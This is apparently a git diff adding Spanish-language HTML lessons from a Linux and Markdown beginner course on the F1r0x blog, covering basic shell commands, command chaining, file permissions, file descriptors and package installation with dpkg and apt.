    El uso principal del comando mv es mover archivos, aunque también se puede usar para cambiar el nombre de los archivos.

    + +

    Los argumentos en mv son similares al comando cp. Debes escribir mv, el nombre del archivo y el directorio destino.
    +Por ejemplo:

    + +
    mv archivo.txt /home/nombredeusuario/Documentos.
    +
    + +

    Para cambiar el nombre de los archivos, el comando de Linux es:

    + +
    mv nombreviejo.ext nombrenuevo.ext
    +
    + +

    +

    mkdir

    +

    Usa el comando mkdir para crear un nuevo directorio: si escribes mkdir Musica, creará un directorio llamado Musica.

    + +

    También hay comandos adicionales de mkdir:

    + +

    Para generar un nuevo directorio dentro de otro directorio, usa este comando básico de Linux mkdir Musica/Nuevoarchivo.
    +Usa la opción p (padres) para crear un directorio entre dos directorios existentes.
    +Por ejemplo, mkdir -p Musica/2020/Nuevoarchivo creará el nuevo archivo 2020.

    + +

    +

    rmdir

    +

    Si necesitas eliminar un directorio, usa el comando rmdir. Sin embargo, rmdir solo te permite eliminar directorios vacíos.

    + +

    +

    rm

    +

    El comando rm se usa para eliminar directorios y el contenido dentro de ellos. Si solo deseas eliminar el directorio, como alternativa a rmdir, +usa rm -r.

    + +

    Nota: Ten mucho cuidado con este comando y verifica en qué directorio te encuentras. Este comando elimina todo y no se puede deshacer.

    + +

    +

    touch

    +

    El comando touch te permite crear un nuevo archivo en blanco a través de la línea de comando de Linux.
    +Como ejemplo, ejecuta touch /home/nombredeusuario/Documentos/Web.html para crear un archivo HTML titulado Web en el directorio Documentos.

    + +

    +

    locate

    +

    Puedes usar este comando para localizar un archivo, al igual que el comando de búsqueda en Windows. Además, el uso del argumento -i junto con este +comando hará que no distinga entre mayúsculas y minúsculas, por lo que puedes buscar un archivo incluso si no recuerdas su nombre exacto.

    + +

    Para buscar un archivo que contenga dos o más palabras, usa un asterisco *.
    +Por ejemplo, el comando locate -i escuela*nota buscará cualquier archivo que contenga la palabra escuela y nota, ya sea en mayúsculas o minúsculas.

    + +

    +

    find

    +

    Similar al comando locate, usando find también buscas archivos y directorios. La diferencia es que usas el comando find para ubicar archivos dentro +de un directorio dado.

    + +

    Como ejemplo, el comando find /home/ -name notas.txt buscará un archivo llamado notas.txt dentro del directorio de inicio y sus subdirectorios.

    + +

    Otras variaciones al usar find son:

    + +

    Para buscar archivos en el directorio actual, find . -name notas.txt.
    +Para buscar directorios, find / -type d -name notes.txt.

    + +

    +

    grep

    +

    Otro comando básico de Linux que sin duda es útil para el uso diario es grep. Te permite buscar a través de todo el texto en un archivo dado.

    + +

    Para ilustrar, grep azul notepad.txt buscará la palabra azul en el archivo del bloc de notas. Las líneas que contienen la palabra buscada +se mostrarán.

    + +

    +

    sudo

    +

    Abreviatura de «SuperUser Do» (SuperUsuario hace), este comando te permite realizar tareas que requieren permisos administrativos o raíz. +Sin embargo, no es aconsejable usar este comando para el uso diario, ya que podría ser fácil que ocurra un error si haces algo mal.

    + +

    +

    df

    +

    Usa el comando df para obtener un informe sobre el uso del espacio en disco del sistema, que se muestra en porcentaje y KB. Si deseas ver el informe +en megabytes, escribe df -m.

    + +

    +

    du

    +

    Si deseas verificar cuánto espacio ocupa un archivo o un directorio, el comando du (Uso del disco, en inglés) es la respuesta. Sin embargo, el +resumen de uso del disco mostrará números de bloque de disco en lugar del formato de tamaño habitual. Si deseas verlo en bytes, kilobytes y +megabytes, agrega el argumento -h a la línea de comando.

    + +

    + +

    El comando head se usa para ver las primeras líneas de cualquier archivo de texto. De manera predeterminada, mostrará las primeras diez líneas, +pero puedes cambiar este número a tu gusto.
    +Por ejemplo, si solo deseas mostrar las primeras cinco líneas, escribe:

    + +
     head -n 5 nombredearchivo.ext.
    +
    + +

    +

    tail

    +

    Este tiene una función similar al comando head, pero en lugar de mostrar las primeras líneas, el comando tail mostrará las últimas diez líneas de +un archivo de texto. Por ejemplo:

    + +
    tail -n nombredearchivo.ext
    +
    + +

    +

    diff

    +

    Para abreviar diferencia, el comando diff compara el contenido de dos archivos línea por línea. Después de analizar los archivos, genera las líneas +que no coinciden. Los programadores a menudo usan este comando cuando necesitan hacer modificaciones al programa en lugar de reescribir todo el +código fuente.

    + +

    La forma más simple de usar este comando es:

    + +
    diff archivo1.ext archivo2.ext
    +
    + +

    +

    tar

    +

    El comando tar es el comando más utilizado para guardar múltiples archivos en un tarball, un formato de archivo de Linux común que es similar al +formato zip, con compresión opcional.

    + +

    Este comando es bastante complejo con una larga lista de funciones, como agregar nuevos archivos a un archivo existente, enumerar el contenido de +un archivo, extraer el contenido de un archivo y muchos más.

    + +

    +

    chmod

    +

    chmod es otro comando de Linux, utilizado para cambiar los permisos de lectura, escritura y ejecución de archivos y directorios. Como este comando es +bastante complicado, puedes leer el tutorial completo (en inglés) para ejecutarlo correctamente.

    + +

    +

    chown

    +

    En Linux, todos los archivos son propiedad de un usuario específico. El comando chown te permite cambiar o transferir la propiedad de un archivo al +nombre de usuario especificado. Por ejemplo, chown usuariolinux2 archivo.ext hará que usuariolinux2 sea el propietario del archivo.ext.

    + +

    +

    jobs

    +

    El comando jobs mostrará todos los trabajos actuales junto con sus estados. Un trabajo es básicamente un proceso iniciado por el shell.

    + +

    +

    kill

    +

    Si tienes un programa que no responde, puedes cerrarlo manualmente utilizando el comando kill. Enviará una cierta señal al programa que se está +ejecutando mal y le indica a la aplicación que finalice.

    + +

    Hay un total de sesenta y cuatro señales que puedes usar, pero las personas generalmente solo usan dos señales:

    + +

    SIGTERM (15) : Solicita que un programa deje de ejecutarse y te da algo de tiempo para guardar todo tu progreso. Si no especificas la señal al +ingresar el comando kill, se utilizará esta señal.

    + +

    SIGKILL (9) : Obliga a los programas a detenerse inmediatamente. El progreso no guardado se perderá.

    + +

    Además de conocer las señales, también debes conocer el número de identificación del proceso (PID) del programa que deseas detener (kill). Si no +conoces el PID, simplemente ejecute el comando ps ux.

    + +

    Después de saber qué señal deseas usar y el PID del programa, ingresa la siguiente sintaxis:

    + +
    kill [opción de señal] PID.
    +
    + +

    +

    ping

    +

    Usa el comando ping para verificar tu estado de conectividad a un servidor. Por ejemplo, simplemente ingresando ping google.com, el comando +verificará si puedes conectarte a Google y también medirá el tiempo de respuesta.

    + +

    +

    wget

    +

    La línea de comandos de Linux es muy útil: incluso puedes descargar archivos de Internet con la ayuda del comando wget. Para hacerlo, simplemente escribe wget seguido del enlace de descarga.

    + +

    +

    uname

    +

    El comando uname, abreviatura de Nombre de Unix, imprimirá información detallada sobre tu sistema Linux, como el nombre de la máquina, el sistema +operativo, el núcleo, etc.

    + +

    +

    top

    +

    Como un terminal equivalente al Administrador de tareas en Windows, el comando top mostrará una lista de los procesos en ejecución y la cantidad de CPU +que utiliza cada proceso. Es muy útil monitorear el uso de los recursos del sistema, especialmente para saber qué proceso debe terminarse porque consume +demasiados recursos.

    + +

    +

    history

    +

    Cuando hayas estado utilizando Linux durante un cierto período de tiempo, notarás rápidamente que puedes ejecutar cientos de comandos todos los días. Como tal, ejecutar el comando history es particularmente útil si deseas revisar los comandos que ingresaste anteriormente.

    + +

    +

    man

    +

    ¿Confundido sobre la función de ciertos comandos de Linux? No te preocupes, puedes aprender fácilmente cómo usarlos directamente desde el shell de +Linux mediante el comando man. Por ejemplo, al ingresar man tail se mostrarán las instrucciones manuales del comando tail.

    + +

    +

    echo

    +

    Este comando se usa para mover algunos datos a un archivo. Por ejemplo, si deseas agregar el texto «Hola, mi nombre es John» en un archivo llamado +nombre.txt, debes escribir: echo Hola, mi nombre es John >> nombre.txt.

    + +

    +

    zip

    +

    Usa el comando zip para comprimir tus archivos en un archivo zip. y use el comando unzip para extraer los archivos comprimidos de un +archivo zip.

    + +

    +

    unzip

    +

    Se utiliza el comando unzip para extraer los archivos comprimidos de un +archivo zip.

    + +

    +

    hostname

    +

    Si deseas conocer el nombre de tu host/red, simplemente escribe hostname. Agregar un -I al final mostrará la dirección IP de tu red.

    + +

    +

    useradd

    +

    Dado que Linux es un sistema multiusuario, esto significa que más de una persona puede interactuar con el mismo sistema al mismo tiempo. useradd se +usa para crear un nuevo usuario, mientras que passwd agrega una contraseña a la cuenta de ese usuario. Para agregar una nueva persona llamada John, +escribe useradd John y luego para agregar su contraseña, escribe passwd 123456789.

    + +

    +

    userdel

    +

    Eliminar un usuario es muy similar a agregar un nuevo usuario. Para eliminar la cuenta de usuario, escribe userdel NombredeUsuario.

    + +

    +

    clear

    +

    Para limpiar el terminal si se está abarrotando con demasiados comandos pasados.

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursolinux_6_concatenar_comandos.html b/Web/cursolinux_6_concatenar_comandos.html new file mode 100644 index 00000000000..0f6899766be --- /dev/null +++ b/Web/cursolinux_6_concatenar_comandos.html @@ -0,0 +1,279 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux: Concatenar Comandos
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + + + + +
  • Concatenar varios comandos en Linux.
  • +
  • Variable ;
  • +
  • Variable &&
  • +
  • Variable ||
  • +
  • Variable &
  • +
  • Variable |
  • + + +

    +

    Concatenar varios comandos en Linux.

    + +

    Una vez sabemos como funciona la dínamica de los comandos, podemos ejecutar varios al mismo tiempo utilizando las distintas +variables según la acción que vayamos a realizar.

    + +

    A la acción de colocar distintos comandos concatenados en la misma línea de comando se le conoce como one-liner.

    + +

    Cada variable concatena los conmandos de una forma partícular:

    + +

    +

    ;

    + +

    Con ; el segundo comando se ejecutará sin importar el resultado del segundo. Esto quiere decir, que aúnque el primer comando nos reportará +un codigo de error, el segundo se ejecurtará independientemente monstrando el resultado.

    + +
    whoami ; ls
    +
    + +

    +

    &&

    + +

    Con && el segundo comando se ejecutará solo si el primero termina con éxito. En caso de el primer comando reportar un error el siguiente comando no +se ejecutará.

    + +
    whoami && ls
    +
    + +

    +

    ||

    + +

    Con || el segundo comando solo se ejucutará si el primero termina sin éxito. Si el primer comando se realiza de manera exitosa el siguinete +no se ejecutará.

    + +
    whoami || ls
    +
    + +

    +

    &

    + +

    Con &`hará que los dos (o más) comandos se ejecuten de manera simultanea.

    + +
    whoami & ls
    +
    + +

    +

    |

    + +

    Con | la salida del primer comando se convierte en la entrada del segundo.

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursolinux_7_permisos_basicos.html b/Web/cursolinux_7_permisos_basicos.html new file mode 100644 index 00000000000..97c95b3504b --- /dev/null +++ b/Web/cursolinux_7_permisos_basicos.html @@ -0,0 +1,317 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux: Permisos Básicos
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + + + + +
  • Gestión de permisos en Linux.
  • +
  • ¿Qué son los permisos en Linux?
  • +
  • ¿Gestión de permisos en Linux?
  • +
  • Tipos de permisos en Linux.
  • +
  • ¿Cómo ver los permisos de un archivo?
  • + +

    +

    Gestión de permisos en Linux.

    + +

    Si hay un aspecto que destaca de Linux respecto a otros sistemas, como Windows, es la seguridad. Y no solo hablamos de vulnerabilidades +y privacidad, sino también de la forma en la que gestiona los archivos personales de sus usuarios. Cada archivo y cada carpeta cuenta +con unos permisos definidos, sin los cuales nadie podrá acceder al archivo en cuestión. Y, si estamos aprendiendo a usar Linux, los +permisos es uno de los aspectos que debemos conocer y aprender.

    + +

    El sistema de archivos que utiliza Linux es mucho más avanzado, y a la vez sencillo, que el que utilizan otros sistemas, como Windows. Este se +basa en especificar si el propietario, el grupo de usuarios o cualquiera, puede leer, escribir o ejecutar el archivo. Sin duda, es una forma muy +eficaz de mantener a cada usuario del sistema controlado, evitando que este pueda acceder a los datos de los demás sin permiso.

    + +

    +

    ¿Qué son los permisos en Linux?

    + +

    Los permisos son la manera de restringir las funciones que un usuario tiene permitido realizar sobre un archivo. +Los tres parámetros básicos que se regulan a través de los permisos son la lectura(r), la escritura(w) y la ejecución(x) de los archivos.

    + +

    A cada archivo se aplican estos permisos y cada archivo tienen divididos estos permisos en tres secciones, una para los Usuarios, otra para los +Grupos y una para Otros. Dentro de cada uno de estos se especifican cuáles de los tres permisos se aplican.

    + +

    La estructura básica de los permisos es:

    + +
    .---/---/---
    +
    +(Tipo de Archivo)Usuarios/Grupos/Otros
    +
    + +

    prored-bits-de-permisos-unix-permission-bits

    + +

    Cada archivo o carpeta que nos encontremos al listar el contenido de un directorio irá indicado con un símbolo:

    + +

    o .: Indica que se trata de un archivo.
    +d: Indica que se trata de un directorio.
    +l: Indica que se trata de un enlace (acceso directo, por ejemplo).

    + +

    Seguido veremos los tres niveles de permisos. Los permisos están definidos por las letras (r,w,x) y cuando el permiso no está aplicado se sustituye la +letra por -.

    + +

    Son tres niveles (Usuarios/Grupos/Otros) y dentro de cada uno especificaremos los permisos:

    + +
    LecturaUsuario,EscrituraUsuario,EjecuciónUsuario / LecturaGrupos,EscrituraGrupos,EjecuciónGrupos / LecturaOtros,EscrituraOtros,EjecuciónOtros  
    +
    + +

    +

    ¿Gestión de permisos en Linux?

    + +

    Podemos especificar si queremos aplicar estos permisos de manera independiente entre Usuarios, Grupos y Otros:

    + +

    Usuario: Eres tú, por ejemplo, cuando inicias tu sistema Linux. Ingresas al iniciar sesión con el usuario que creaste, ese nombre de usuario se +puede usar como el “propietario” de un archivo y corresponde a este tipo: “usuario”.

    + +

    Grupo: Es el grupo al que pertenece el archivo y cualquier usuario que pertenezca a ese grupo (incluido tal vez el usuario) tiene los permisos +asignados sobre ese archivo.

    + +

    Otros: Se refiere a cualquier otro usuario que no corresponda al “usuario” ni al “Grupo”, incluso aquellos que no son usuarios del sistema +como por ejemplo un usuario anónimo que lee un archivo por medio de una página web (y que accede desde fuera, por internet) tiene que tener +permisos para poder leer ese archivo, este usuario anónimo corresponde a este tipo: “otros”

    + +

    +

    Tipos de permisos en Linux.

    + +

    A su vez, cada uno de estos niveles puede tener 3 valores diferentes en función del grado de privilegios que especifiquemos en el sistema. Estos + valores podemos especificarlos por las siguientes letras:

    + +

    r: Permiso de lectura (permite abrirlo, copiarlo, etc).
    +w: Permiso de escritura (permite modificarlo, borrarlo, etc).
    +x: Permiso de ejecución (si es binario, permite ejecutarlo).

    + +

    Los permisos en Linux se pueden reflejar tanto con letras como con números. Ambas formas son correctas e igual de funcionales. Sin embargo, lo más +intuitivo son las letras, ya que nos permiten comprender mejor de qué permiso se trata. Los números son más usados por usuarios avanzados, al ser +más rápido de especificar. Más adelante realizaremos prácticas y veremos como aplicar tambien los números.

    + +

    +

    ¿Cómo ver los permisos de un archivo?

    + +

    Podemos ver los permisos que tienen los archivos situados en el directorio actual utilizando el comando ls -l.

    + +

    En el siguiente ejemplo, podemos ver con ls que dentro del directorio existe el archivo prueba1.txt:

    + +

    Captura de pantalla -2022-09-26 00-16-26

    + +

    Para poder ver sus permisos simplemente añadimos la opción -l al comando ls. Ahora vemos como nos reporta mucha +más información que antes:

    + +

    Captura de pantalla -2022-09-26 00-17-20

    + +

    En primer lugar nos muetra el tipo de archivo y sus permisos:

    + +

    Captura de pantalla -2022-09-26 00-17-39

    + +

    Seguido nos muestra el nombre del propietario del archivo y del grupo, el tamaño del archivo y su fecha +de creación. El tema de los usuarios y los grupos lo iremos desarrollando poco a poco más adelante.

    + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursolinux_8_descriptores_de_archivo.html b/Web/cursolinux_8_descriptores_de_archivo.html new file mode 100644 index 00000000000..77dfd270b44 --- /dev/null +++ b/Web/cursolinux_8_descriptores_de_archivo.html @@ -0,0 +1,305 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux: Descriptores de Archivos
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + + + + +
  • ¿Qué es un Descriptor de Archivos?
  • +
  • Entrada (stdin) y Salida (stdout) estandar del sistema.
  • +
  • ¿Qué es la entrada estándar (stdin)?
  • +
  • ¿Qué es la salida estandar (stdout)?
  • +
  • ¿Qué es la salida de error o error estandar (stderr)?
  • + + +

    +

    ¿Qué es un Descriptor de Archivos?

    + +

    Un descriptor de archivos (file descriptor o fd) es un número entero positivo que utiliza un proceso para identificar un archivo abierto dentro +del sistema.

    + +

    Cuando un programa quiere acceder a un archivo abierto, el kernel le devuelve un descriptor de archivos. Este fd apunta a una entrada específica +dentro de la tabla de archivos del kernel. Esta tabla contiene información sobre el archivo al que hace referencia el descriptor de archivos. Entre esta +información se especifican las propiedades read-only(solo lectura), write-only(solo escritura), read-write(escritura/lectura), etc.

    + +

    Tres de los descriptores de archivos más importantes y con los que más se trabaja son:

    + +
      +
    • Standard Input (fd = 0): Los datos se mandan por la entrada estándar. Por defecto, son los datos que se envían cuando escribimos por teclado.
    • +
    • Standard Output (fd = 1): Los datos se mandan por la salida estándar. Por defecto, son los datos que se muestran por la pantalla.
    • +
    • Standard Error (fd = 2): Los datos se mandan por la salida de error. Por defecto, son los datos que se mandan por la pantalla para indicar que un + programa ha fallado.
    • +
    + +

    +

    Entrada (stdin) y Salida (stdout) estandar del sistema:

    + +

    Como usuarios, para poder comunicarnos con nuestro ordenador necesitamos de una serie de herramientas que nos permitan establecer tal comunicación. +Además, una vez se ha establecido la comunicación, el usuario tiene que ser capaz de enviar la información al ordenador y tiene que ser capaz de recibir +la información que el ordenador le proporciona.

    + +

    Estas herramientas son comúnmente conocidas como dispositivos de entrada/salida. Así, al dispositivo de entrada se le llama entrada estándar o stdin y +al dispositivo de salida se le llama salida estándar o stdout.

    + +

    Es importante saber que hay un tercer flujo por el cual se envía la información en caso de error. Este flujo de transmisión de datos es conocido como +salida de error o error estándar.

    + +

    +

    ¿Qué es la entrada estándar (stdin)?

    + +

    El término stdin hace referencia a un flujo de entrada a donde se envían los datos y de donde un programa recibe la información que necesita para +poder ejecutarse.

    + +

    Se entiende como flujo una transferencia de datos. En el caso de la entrada estándar, será texto lo que se envíe como información a través +de este flujo.

    + +

    Cuando un programa requiere que el usuario le proporcione información, como un nombre, un número, un día, etc., el usuario le proporcionará esta +información a través de la entrada estándar utilizando el teclado. No obstante, esta entrada de datos no siempre proviene del teclado. Hay ocasiones +en las que se toman los datos de un archivo o el retorno de un programa como información de entrada para que otro programa pueda ejecutarse. Sin embargo, +a no ser que se produzca alguna modificación, la entrada estándar siempre estará asociada al descriptor de archivos 0 (fd = 0).

    + +

    +

    ¿Qué es la salida estandar (stdout)?

    + +

    Cuando un programa termina de ejecutarse, en muchas ocasiones debe mostrar en algún sitio el resultado de dicha ejecución. En la mayoría de las +ocasiones este sitio se corresponde con la pantalla del ordenador y es la salida estándar (stdout) la que permite que dicho resultado se muestre por +pantalla.

    + +

    Esto es importante ya que para nuestro sistema operativo todo lo relacionado con el ordenador es un fichero. Por tanto, la pantalla va a comunicarse +con un fichero que le permita comunicarse con el resto de programas, un fichero representado por STDOUT_FILENO y apuntado por stdout.

    + +

    No obstante, es importante saber que la pantalla del ordenador no es la salida estándar. Cuando un programa envía el resultado de su ejecución a la +salida estándar, la pantalla muestra dicho resultado porque ambas están conectadas. Por defecto, stdout está conectada a la pantalla, pero no +significa que sean lo mismo.

    + +

    Fácilmente puede redireccionarse la salida estándar a un archivo y evitar así que el resultado se muestre por pantalla y ser guardados en un archivo por +ejemplo.

    + +

    La salida estándar siempre estará asociada al descriptor de archivos 0 (fd = 1).

    + +

    +

    ¿Qué es la salida de error o error estandar (stderr)?

    + +

    El stderr también conocido como error estándar, es el descriptor de archivo predeterminado donde un proceso puede escribir mensajes de error.

    + +

    En la mayoría de las ocasiones, el mensaje de error se muestra por pantalla. Sin embargo, esto no significa que la salida estándar y el error +estándar formen parte del mismo flujo de transmisión. En realidad, son dos flujos totalmente distintos que, por defecto, se encuentran conectados +con la pantalla del ordenador.

    + +

    También importante saber que el error estándar está asociado al descriptor de archivos 2 o fd = 2. A no ser que se especifique lo contrario, este +descriptor de archivos siempre va a mostrar su contenido por pantalla. No obstante, al igual que sucede con stdout, podemos redireccionar a stderr para +que en lugar de mostrar el contenido por pantalla, lo envíe a un archivo o a otro programa.

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursolinux_9_instalar_y_desinstalar_programas.html b/Web/cursolinux_9_instalar_y_desinstalar_programas.html new file mode 100644 index 00000000000..65063aba7d0 --- /dev/null +++ b/Web/cursolinux_9_instalar_y_desinstalar_programas.html @@ -0,0 +1,377 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux: Instalar y Desinstalar
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + + + + +
  • Instalar y Desinstalar Archivos en Linux
  • +
  • Archivos .DEB en Linux
  • +
  • Cómo instalar un archivo .DEB
  • +
  • Instalación de Archivos con DPKG
  • +
  • Desinstalación de archivos con DPKG
  • +
  • Instalación de Archivos con APT
  • +
  • Desinstalación de Archivos con APT
  • +
  • Instalar Archivos .SH en Linux
  • +
  • Instalar Archivos en Linux mediante Interfaz Gráfica
  • + + +

    +

    Instalar y Desinstalar Archivos en Linux

    + +

    Antes de saber como instalar y desinstalar programas desde la terminal, debemos de conocer que paquetes son los que se utilizan para dichas instalciones. +La mayoria de herramientas, como veremos más adelante, no necesitaran de descargas de paquetes, ya que los encontraremos directamente desde la terminal. +Pero existen muchas otras, las cuales no se encuentran a través de la terminal o están desactualizadas.

    + +

    Para introducirnos en como funciona el tema de instalar y desinstalar programas, vamos a ver el principal tipo de archivos que se utiliza para ello, +que son los archivos ``.deb``.

    + +

    +

    Archivos .DEB en Linux

    + +

    El nombre DEB viene de acortar el nombre de la primera distribución que los introdujo y empezó a utilizar: +Debian.

    + +

    Estos paquetes son, básicamente, los .EXE de las distribuciones Linux basadas en Debian, como +ella misma, Ubuntu o Linux Mint, entre otras. Así, estos son archivos de almacenamiento (o paquetes) +que contienen todos los archivos para poder instalar un programa en la distro, además de los scripts +necesarios para llevar a cabo esta instalación y configuración del programa en cuestión.

    + +

    Este formato de archivos tiene algunas limitaciones. Por ejemplo, dentro de un paquete DEB es posible +que no se encuentren todas las dependencias necesarias para que el programa pueda funcionar con +normalidad. Por ello, si esto ocurre, tendremos que bajar e instalar a mano estas dependencias +necesarias.

    + +

    Dentro de uno de estos archivos podemos encontrar tres archivos:

    + +
      +
    • Debian-binary El que nos indica la versión del paquete que vamos a instalar. La última, actualmente, es la 2.0.
    • +
    • Control.tar.gz Donde encontraremos toda la meta-información del paquete.
    • +
    • data.tar, data.tar.gz, data.tar.bz2 o data.tar.lzma Todos los archivos que tenemos que procesar e instalar en el sistema.
    • +
    + +

    +

    Cómo instalar un archivo .DEB

    + +

    Por lo general, la mayoría de las distros preparadas para usar archivos DEB vienen de serie con el +gestor de paquetes DPKG y APT. De ahí precisamente la + importancia de estos formatos de fichero en concreto.

    + +

    Este será el que nos permita instalar programas a través de estos paquetes usando el terminal. +Sin embargo, hay muchas interfaces gráficas que nos van a permitir trabajar con ellos desde el +escritorio, como es el caso de Synaptic, PackageKit, Gdebi, e incluso el clásico Ubuntu Software Center.

    + +

    Comando DPKG

    + +

    +

    Instalación de Archivos con DPKG

    + +

    Para instalar estos programas utilizando DPKG y la opción -i, simplemente ejecutaremos:

    + +
    dpkg -i paquete.deb
    +
    + +

    Una vez termine el proceso, el programa estará instalado ya en nuestro ordenador. Podemos comprobarlo +utilizando la misma herramienta y con la opción -l, y luego, con grep filtramos por el +nombre del paquete:

    + +
    dpkg -l | grep 'paquete'
    +
    + +

    +

    Desinstalación de archivos con DPKG

    + +

    Para desinstalar un programa instalado a partir de su DEB original, podemos hacerlo ejecutando en el +terminal el siguiente comando:

    + +
    dpkg -r paquete.deb
    +
    + +

    Y, de igual forma, si además queremos eliminar el programa y todos los datos que ha guardado en el PC, +debemos cambiar el parámetro -r del comando anterior por -P, y así realizar una desinstalación +totalmente completa.

    + +
    dpkg -P paquete.deb
    +
    + +

    Comando APT

    + +

    +

    Instalación de Archivos con APT

    + +

    APT es el conocido comando que solemos usar para buscar, bajar e instalar programas en la mayoría de +las distros Linux basadas en Debian. Esta herramienta, además de permitirnos buscar programas en las +listas de repositorios añadidas al sistema, también nos va a permitir instalar archivos .DEB locales +que hayamos bajado de páginas web. Y, además, lo hará con una mayor tasa de éxito que DPKG, ya que +nos permitirá buscar y satisfacer dependencias. Eso sí, por debajo del comando «APT» se ejecuta este +mismo DPKG que acabamos de ver.

    + +

    Para instalar estos programas con este gestor de paquetes de terminal, lo que debemos hacer es ejecutar +el siguiente comando:

    + +
    sudo apt install ./paquete.deb
    +
    + +

    Una vez instalado, el programa ya formará parte de nuestro sistema.

    + +

    +

    Desinstalación de Archivos con APT

    + +

    En caso de querer desinstalar algún programa o archivo, esta vez no tendremos que saber dónde se guardaba el DEB original, sino que con conocer el nombre del +paquete podemos borrarlo de la siguiente forma:

    + +
    sudo apt remove <paquete>
    +
    + +

    Y, si cambiamos remove por purge podremos borrar, también, todos los datos del programa que se +han guardado en el sistema.

    + +
    sudo apt purge <paquete>    
    +
    + +

    +

    Instalar Archivos .SH en Linux

    + +

    Muchos programas utilizan como archivo de instalación un .SH, lo suelen llamar install.sh o algo por el estilo.

    + +

    Primero tendremos que darles permisos de ejecución al archivo .SH:

    + +
    sudo chmod +x archivo.sh
    +
    + +

    Luego simplemente ejecutamos el instalador:

    + +
    ./archivo.sh
    +
    + +

    +

    Instalar Archivos en Linux mediante Interfaz Gráfica

    + +

    Hay muchas interfaces gráficas que nos van a permitir trabajar con ellos desde el escritorio, como es el +caso de Synaptic, PackageKit, Gdebi, e incluso el clásico Ubuntu Software Center. Para instalar estos +programas, simplemente ejecutaremos:

    + +
    sudo apt install gdebi
    +
    +
    +sudo apt install synaptic
    +
    +
    +sudo apt install packagekit
    +
    + +

    Estos programas no voy a entrar en detalle a explicarlos ya que son programas muy simples de utilizar y en este curso nos vamos a enfocar + en trabajar desde la terminal.

    + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursomarkdown.html b/Web/cursomarkdown.html new file mode 100644 index 00000000000..e4769dce060 --- /dev/null +++ b/Web/cursomarkdown.html @@ -0,0 +1,378 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Markdown + + + + + + + + + + + + + + + + + + + + + + +

    Curso de MarkDown.

    + +

    ¿Qué es MarkDown?

    + +

    Markdown es un lenguaje de marcado ligero creado por John Gruber y Aaron Swartz que trata de conseguir la máxima legibilidad y facilidad de publicación +tanto en su forma de entrada como de salida.

    + +

    En principio, fue pensado para elaborar textos cuyo destino iba a ser la web con más rapidez y sencillez que si estuviésemos empleando directamente HTML. +Markdown es realmente dos cosas: por un lado, el lenguaje; por otro, una herramienta de software que convierte el lenguaje en HTML válido.

    + +

    Los archivos MarkDawn utilizan la extensión ‘.md’ y pueden ser ejecutados bajo la extensión .html.

    + +

    Sintaxis:

    + +

    La sintaxis es muy sencilla y cuenta con varias opciones diferentes para algunos de sus elementos. Básicamente, se trata de añadir ciertos caracteres al +inicio de la línea o antes y después de los elementos a los que vamos a aplicar el formato.

    + +

    Comandos Básicos:

    + +

    Espacios:

    +

    Los espacios en el lenguaje MarkDown tienen gran importacia. Un espacio se comportará de manera normal, dos espacios es el máximo que podemos separar dos +elementos, ya que a partir de dos espacios, todos los restantes se anula.

    + +

    Si al terminar una línea no incorporamos ningún espacio, MarkDown interpreta que debe solaparlo con la siguiente línea e introduce un espacio. Para realizar +un salto de página y que los elementos permanezcan en distintas líneas, simplemente introducimos dos espacios al final de la línea.

    + +

    Encabezados:

    + +

    # : Encabezado Grande.
    +## : Encabezado Medio.
    +### : Encabezado Pequeño.

    + +

    Marcar Textos:

    +

    Para marcar un texto, introducimos el texto entre comillas cerradas. Ejemplo

    + +
    `Ejemplo`
    +
    + +

    Escribir texto en Cursiva o Negrita:

    +

    Usaremos un asterisco antes y después para las cursivas y dos asteriscos para las negritas, ambos sin espacios.

    + +

    *cursiva* : cursiva
    +**negrita** : negrita

    + +

    Crear Listas:

    +

    En MarkDown podremos crear dos tipos de listas, numeradas y sin numerar. Para generar listas numeradas utilizaremos números +seguidos de un punto y un espacio, una vez hemos escrito el primero (1. Por ejemplo.), simplemente al terminar pulsamos +enter y automáticamente creará el siguiente:

    + +
      +
    1. Ejemplo1
    2. +
    3. Ejemplo2
    4. +
    5. Ejemplo3
    6. +
    + +

    Para crear listas sin numerar el proceso es el mismo, simplemente escribimos asterisco * al inicio de cada línea seguido +de un espacio. Tras escribir el elemento listado pulsamos enter y saltará a la siguiente línea ejecutando el asterisco +automáticamente:

    + +
      +
    • Ejemplo1
    • +
    • Ejemplo2
    • +
    • Ejemplo3
    • +
    + + +

